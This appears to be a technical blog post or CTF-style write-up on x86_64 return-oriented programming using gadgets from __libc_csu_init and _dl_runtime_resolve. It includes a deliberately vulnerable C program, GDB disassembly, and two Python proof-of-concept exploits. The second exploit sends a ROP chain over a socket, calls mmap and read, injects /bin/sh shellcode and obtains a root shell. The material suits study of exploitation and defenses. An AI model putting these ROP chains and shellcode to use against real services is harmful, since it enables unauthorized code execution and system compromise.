Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
Controlling registers EDI, RSI and RDX:
The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
Stack Shifting gadget:
Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
Dereference with respect to RSP:
This gadget might be useful to work with function pointers in stack
_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
// gcc -O3 -o rop rop.c #include <unistd.h> int main(void) { char buf[64]; read(0, buf, 2048); return 0; }The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _finiBelow is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init: 0x0000000000401830 <+0>: mov QWORD PTR [rsp-0x28],rbp 0x0000000000401835 <+5>: mov QWORD PTR [rsp-0x20],r12 0x000000000040183a <+10>: lea rbp,[rip+0x2007c7] # 0x602008 0x0000000000401841 <+17>: lea r12,[rip+0x2007b8] # 0x602000 0x0000000000401848 <+24>: mov QWORD PTR [rsp-0x30],rbx 0x000000000040184d <+29>: mov QWORD PTR [rsp-0x18],r13 0x0000000000401852 <+34>: mov QWORD PTR [rsp-0x10],r14 0x0000000000401857 <+39>: mov QWORD PTR [rsp-0x8],r15 0x000000000040185c <+44>: sub rsp,0x38 0x0000000000401860 <+48>: sub rbp,r12 0x0000000000401863 <+51>: mov r15d,edi 0x0000000000401866 <+54>: mov r14,rsi 0x0000000000401869 <+57>: sar rbp,0x3 0x000000000040186d <+61>: mov r13,rdx 0x0000000000401870 <+64>: xor ebx,ebx 0x0000000000401872 <+66>: call 0x400708 <_init> 0x0000000000401877 <+71>: test rbp,rbp 0x000000000040187a <+74>: je 0x401896 <__libc_csu_init+102> 0x000000000040187c <+76>: nop DWORD PTR [rax+0x0] 0x0000000000401880 <+80>: mov rdx,r13 0x0000000000401883 <+83>: mov rsi,r14 0x0000000000401886 <+86>: mov edi,r15d 0x0000000000401889 <+89>: call QWORD PTR [r12+rbx*8] 0x000000000040188d <+93>: add rbx,0x1 0x0000000000401891 <+97>: cmp rbx,rbp 0x0000000000401894 <+100>: jne 0x401880 <__libc_csu_init+80> 0x0000000000401896 <+102>: mov rbx,QWORD PTR [rsp+0x8] 0x000000000040189b <+107>: mov rbp,QWORD PTR [rsp+0x10] 0x00000000004018a0 <+112>: mov r12,QWORD PTR [rsp+0x18] 0x00000000004018a5 <+117>: mov r13,QWORD PTR [rsp+0x20] 0x00000000004018aa <+122>: mov r14,QWORD PTR [rsp+0x28] 0x00000000004018af <+127>: mov r15,QWORD PTR [rsp+0x30] 0x00000000004018b4 <+132>: add rsp,0x38 0x00000000004018b8 <+136>: retControlling registers EDI and ESI:
Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab 0x4018ab <__libc_csu_init+123>: mov esi,DWORD PTR [rsp+0x28] 0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30] 0x4018b4 <__libc_csu_init+132>: add rsp,0x38 0x4018b8 <__libc_csu_init+136>: ret
gdb-peda$ x/3i 0x00000000004018b0 0x4018b0 <__libc_csu_init+128>: mov edi,DWORD PTR [rsp+0x30] 0x4018b4 <__libc_csu_init+132>: add rsp,0x38 0x4018b8 <__libc_csu_init+136>: retThese gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call
Controlling registers EDI, RSI and RDX:
The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
0x0000000000401889 <+89>: call QWORD PTR [r12+rbx*8] 0x000000000040188d <+93>: add rbx,0x1 0x0000000000401891 <+97>: cmp rbx,rbp 0x0000000000401894 <+100>: jne 0x401880 <__libc_csu_init+80>To effectively use mov rdx,r13 , we have to ensure that call QWORD PTR [r12+rbx*8] doesn't SIGSEGV, cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
gdb-peda$ x/10x &_DYNAMIC 0x6006f0: 0x0000000000000001 0x0000000000000010 0x600700: 0x000000000000000c 0x0000000000400378 0x600710: 0x000000000000000d 0x0000000000400618 0x600720: 0x0000000000000004 0x0000000000400240 0x600730: 0x0000000000000005 0x00000000004002c8 gdb-peda$ x/i 0x0000000000400378 0x400378 <_init>: sub rsp,0x8 gdb-peda$ x/i 0x0000000000400618 0x400618 <_fini>: sub rsp,0x8 gdb-peda$ x/gx 0x600718 0x600718: 0x0000000000400618We can make call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini Dump of assembler code for function _fini: 0x0000000000400618 <+0>: sub rsp,0x8 0x000000000040061c <+4>: call 0x400480 <__do_global_dtors_aux> 0x0000000000400621 <+9>: add rsp,0x8 0x0000000000400625 <+13>: ret End of assembler dump._fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python import struct payload = "A" * 72 payload += struct.pack("<Q", 0x00000000004005b6) # mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; # mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret payload += "A" * 8 # Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini payload += struct.pack("<Q", 0x0) # Offset of pointer to _fini function in RBX payload += struct.pack("<Q", 0x1) # To pass cmp rbx,rbp check in RBP payload += struct.pack("<Q", 0x600718) # address in R12 payload += "B"*8 # Value for EDI register payload += "C"*8 # Value for RSI register payload += "D"*8 # Value for RDX register payload += struct.pack("<Q", 0x00000000004005a0) # mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80> # mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; # mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret payload += "E"*56 payload += struct.pack("<Q", 0xdeadbeef) print payloadRunning the exploit we get
gdb-peda$ info registers rax 0x7 0x7 rbx 0x4545454545454545 0x4545454545454545 rcx 0x38b7ad41d0 0x38b7ad41d0 rdx 0x4444444444444444 0x4444444444444444 rsi 0x4343434343434343 0x4343434343434343 rdi 0x42424242 0x42424242 rbp 0x4545454545454545 0x4545454545454545 rsp 0x7fffbbd90350 0x7fffbbd90350 r8 0x38b7d7a300 0x38b7d7a300 r9 0x38b720e8e0 0x38b720e8e0 r10 0x7fffbbd90000 0x7fffbbd90000 r11 0x246 0x246 r12 0x4545454545454545 0x4545454545454545 r13 0x4545454545454545 0x4545454545454545 r14 0x4545454545454545 0x4545454545454545 r15 0x4545454545454545 0x4545454545454545 rip 0xdeadbeef 0xdeadbeef eflags 0x10206 [ PF IF RF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0 gdb-peda$ x/i $rip => 0xdeadbeef: Cannot access memory at address 0xdeadbeefWe can see that EDI, RSI and RDX are loaded with user controlled data. One can also make call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.
Stack Shifting gadget:
Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898 0x401898 <__libc_csu_init+104>: pop rsp 0x401899 <__libc_csu_init+105>: and al,0x8 0x40189b <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10] 0x4018a0 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18] 0x4018a5 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20] 0x4018aa <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28] 0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30] 0x4018b4 <__libc_csu_init+132>: add rsp,0x38 0x4018b8 <__libc_csu_init+136>: ret
Dereference with respect to RSP:
This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a 0x40188a <__libc_csu_init+90>: call QWORD PTR [rsp+rbx*8] 0x40188d <__libc_csu_init+93>: add rbx,0x1 0x401891 <__libc_csu_init+97>: cmp rbx,rbp 0x401894 <__libc_csu_init+100>: jne 0x401880 <__libc_csu_init+80> 0x401896 <__libc_csu_init+102>: mov rbx,QWORD PTR [rsp+0x8] 0x40189b <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10] 0x4018a0 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18] 0x4018a5 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20] 0x4018aa <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28] 0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30] 0x4018b4 <__libc_csu_init+132>: add rsp,0x38 0x4018b8 <__libc_csu_init+136>: retChaining Gadgets from Linker:
_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
0x38b7214780 <_dl_runtime_resolve>: sub rsp,0x38 0x38b7214784 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax 0x38b7214788 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx 0x38b721478d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx 0x38b7214792 <_dl_runtime_resolve+18>: mov QWORD PTR [rsp+0x18],rsi 0x38b7214797 <_dl_runtime_resolve+23>: mov QWORD PTR [rsp+0x20],rdi 0x38b721479c <_dl_runtime_resolve+28>: mov QWORD PTR [rsp+0x28],r8 0x38b72147a1 <_dl_runtime_resolve+33>: mov QWORD PTR [rsp+0x30],r9 0x38b72147a6 <_dl_runtime_resolve+38>: mov rsi,QWORD PTR [rsp+0x40] 0x38b72147ab <_dl_runtime_resolve+43>: mov rdi,QWORD PTR [rsp+0x38] 0x38b72147b0 <_dl_runtime_resolve+48>: call 0x38b720de00 <_dl_fixup> 0x38b72147b5 <_dl_runtime_resolve+53>: mov r11,rax @ 0x35 0x38b72147b8 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] 0x38b72147bd <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] 0x38b72147c2 <_dl_runtime_resolve+66>: mov rdi,QWORD PTR [rsp+0x20] 0x38b72147c7 <_dl_runtime_resolve+71>: mov rsi,QWORD PTR [rsp+0x18] 0x38b72147cc <_dl_runtime_resolve+76>: mov rdx,QWORD PTR [rsp+0x10] 0x38b72147d1 <_dl_runtime_resolve+81>: mov rcx,QWORD PTR [rsp+0x8] 0x38b72147d6 <_dl_runtime_resolve+86>: mov rax,QWORD PTR [rsp] 0x38b72147da <_dl_runtime_resolve+90>: add rsp,0x48 0x38b72147de <_dl_runtime_resolve+94>: jmp r11
gdb-peda$ disass read Dump of assembler code for function read@plt: 0x00000000004003e8 <+0>: jmp QWORD PTR [rip+0x20056a] # 0x600958 <read@got.plt> 0x00000000004003ee <+6>: push 0x1 0x00000000004003f3 <+11>: jmp 0x4003c8 # PLT [0] End of assembler dump.PLT [0] code:
gdb-peda$ x/3i 0x4003c8 0x4003c8: push QWORD PTR [rip+0x200572] # 0x600940 0x4003ce: jmp QWORD PTR [rip+0x200574] # 0x600948, GOT entry ie PLTGOT+16 0x4003d4: nop DWORD PTR [rax+0x0] gdb-peda$ x/x 0x600948 0x600948: 0x00000000 gdb-peda$ break *main Breakpoint 1 at 0x400578 gdb-peda$ run gdb-peda$ x/x 0x600948 0x600948: 0x00000038b7214780 # address of _dl_runtime_resolveThe code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
0x38b72147b5 <_dl_runtime_resolve+53>: mov r11,rax @ 0x35 + GOT 0x38b72147b8 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] 0x38b72147bd <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] 0x38b72147c2 <_dl_runtime_resolve+66>: mov rdi,QWORD PTR [rsp+0x20] 0x38b72147c7 <_dl_runtime_resolve+71>: mov rsi,QWORD PTR [rsp+0x18] 0x38b72147cc <_dl_runtime_resolve+76>: mov rdx,QWORD PTR [rsp+0x10] 0x38b72147d1 <_dl_runtime_resolve+81>: mov rcx,QWORD PTR [rsp+0x8] 0x38b72147d6 <_dl_runtime_resolve+86>: mov rax,QWORD PTR [rsp] 0x38b72147da <_dl_runtime_resolve+90>: add rsp,0x48 0x38b72147de <_dl_runtime_resolve+94>: jmp r11If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python # GADGET # 0x38b72147b5 <_dl_runtime_resolve+53>: mov r11,rax @ 0x35 from GOT used for PLT[0], leaked address # 0x38b72147b8 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] # 0x38b72147bd <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] # 0x38b72147c2 <_dl_runtime_resolve+66>: mov rdi,QWORD PTR [rsp+0x20] # 0x38b72147c7 <_dl_runtime_resolve+71>: mov rsi,QWORD PTR [rsp+0x18] # 0x38b72147cc <_dl_runtime_resolve+76>: mov rdx,QWORD PTR [rsp+0x10] # 0x38b72147d1 <_dl_runtime_resolve+81>: mov rcx,QWORD PTR [rsp+0x8] # 0x38b72147d6 <_dl_runtime_resolve+86>: mov rax,QWORD PTR [rsp] # 0x38b72147da <_dl_runtime_resolve+90>: add rsp,0x48 # 0x38b72147de <_dl_runtime_resolve+94>: jmp r11 import struct import socket import time ip = "127.0.0.1" port = 3337 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" + "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ) payload = "A" * 72 # call mmap payload += struct.pack("<Q", 0x00400574) # pop rax payload += struct.pack("<Q", 0x38b7addfd0 ) # address of mmap@libc payload += struct.pack("<Q", 0x38b72147b5 ) # gadget from linker payload += "ANYTHING" # For RAX payload += struct.pack("<Q", 34 ) # For RCX, 4th param payload += struct.pack("<Q", 7 ) # For RDX, 3rd param payload += struct.pack("<Q", 1024 ) # For RSI, 2nd param payload += struct.pack("<Q", 0x0badc000 ) # For RDI, 1st param payload += struct.pack("<Q", 0 ) # For R8, 5th param payload += struct.pack("<Q", 0 ) # For R9, 6th param payload += "MOVEMOVE" payload += "MOVEMOVE" payload += struct.pack("<Q", 0x00400574) # pop rax payload += struct.pack("<Q", 0x004003e8 ) # For RAX, read@PLT # call read payload += struct.pack("<Q", 0x38b72147b5 ) # gadget from linker payload += "ANYTHING" # For RAX payload += "ANYTHING" # For RCX, 4th param payload += struct.pack("<Q", 1024 ) # For RDX, 3rd param payload += struct.pack("<Q", 0x0badc000 ) # For RSI, 2nd param payload += struct.pack("<Q", 0 ) # For RDI, 1st param, stdin payload += "ANYTHING" # For R8, 5th param payload += "ANYTHING" # For R9, 6th param payload += "MOVEMOVE" payload += "MOVEMOVE" payload += struct.pack("<Q", 0x0badc000 ) # jump to shellcode soc.send(payload + "\n") time.sleep(1) soc.send(shellcode + "\n") soc.send("id\n") print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023Will update post when I find more info.